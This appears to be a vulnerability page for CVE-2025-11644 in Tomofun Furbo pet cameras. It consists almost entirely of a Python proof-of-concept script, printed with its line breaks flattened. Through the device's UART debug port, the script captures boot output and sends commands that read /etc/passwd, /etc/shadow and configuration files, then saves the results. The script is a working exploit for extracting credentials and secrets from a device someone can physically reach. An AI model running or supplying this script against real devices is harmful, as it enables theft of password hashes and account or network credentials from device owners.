CVE-2025-11644：Tomofun Furbo设备UART接口敏感信息不安全存储漏洞

# CVE-2025-11644 - Furbo UART Interface Sensitive Information Disclosure PoC # This PoC demonstrates how to connect to the UART interface of Tomofun Furbo 360/Mini # to extract sensitive information stored on the device. import serial import time # UART configuration - typical settings for embedded device debug interfaces UART_PORT = '/dev/ttyUSB0' # Adjust based on your USB-to-TTL adapter BAUD_RATE = 115200 # Common baud rate for embedded devices TIMEOUT = 2 # Read timeout in seconds def connect_to_uart(port, baudrate, timeout): """ Establish a serial connection to the Furbo device's UART interface. Requires physical access to the device's debug pins. """ try: ser = serial.Serial( port=port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=timeout ) print(f"[+] Connected to UART on {port} at {baudrate} baud") return ser except serial.SerialException as e: print(f"[-] Failed to connect: {e}") return None def read_boot_output(ser, duration=5): """ Capture boot-time output which may contain sensitive information. """ print(f"[*] Capturing boot output for {duration} seconds...") start_time = time.time() captured_data = b"" while time.time() - start_time < duration: if ser.in_waiting > 0: data = ser.read(ser.in_waiting) captured_data += data return captured_data def attempt_filesystem_access(ser): """ Attempt to access the device filesystem through UART shell. """ commands = [ b"\n", # Try to get a shell prompt b"id\n", # Check current user b"cat /etc/passwd\n", # Read user accounts b"cat /etc/shadow\n", # Read password hashes b"ls /data/\n", # List data directory b"cat /data/config/*\n", # Read configuration files b"ifconfig\n", # Network configuration b"cat /proc/cmdline\n", # Kernel command line ] output = b"" for cmd in commands: ser.write(cmd) time.sleep(1) if ser.in_waiting > 0: output += ser.read(ser.in_waiting) return output def main(): print("=" * 60) print("CVE-2025-11644 - Furbo UART Information Disclosure PoC") print("Target: Tomofun Furbo 360 / Furbo Mini") print("=" * 60) # Step 1: Connect to UART ser = connect_to_uart(UART_PORT, BAUD_RATE, TIMEOUT) if not ser: return # Step 2: Capture boot output boot_data = read_boot_output(ser, duration=10) print(f"[+] Captured {len(boot_data)} bytes of boot data") # Step 3: Attempt to access sensitive information fs_data = attempt_filesystem_access(ser) print(f"[+] Captured {len(fs_data)} bytes of filesystem data") # Step 4: Save captured data for analysis with open("furbo_uart_capture.bin", "wb") as f: f.write(boot_data + fs_data) print("[+] Data saved to furbo_uart_capture.bin") ser.close() print("[+] Connection closed") if __name__ == "__main__": main()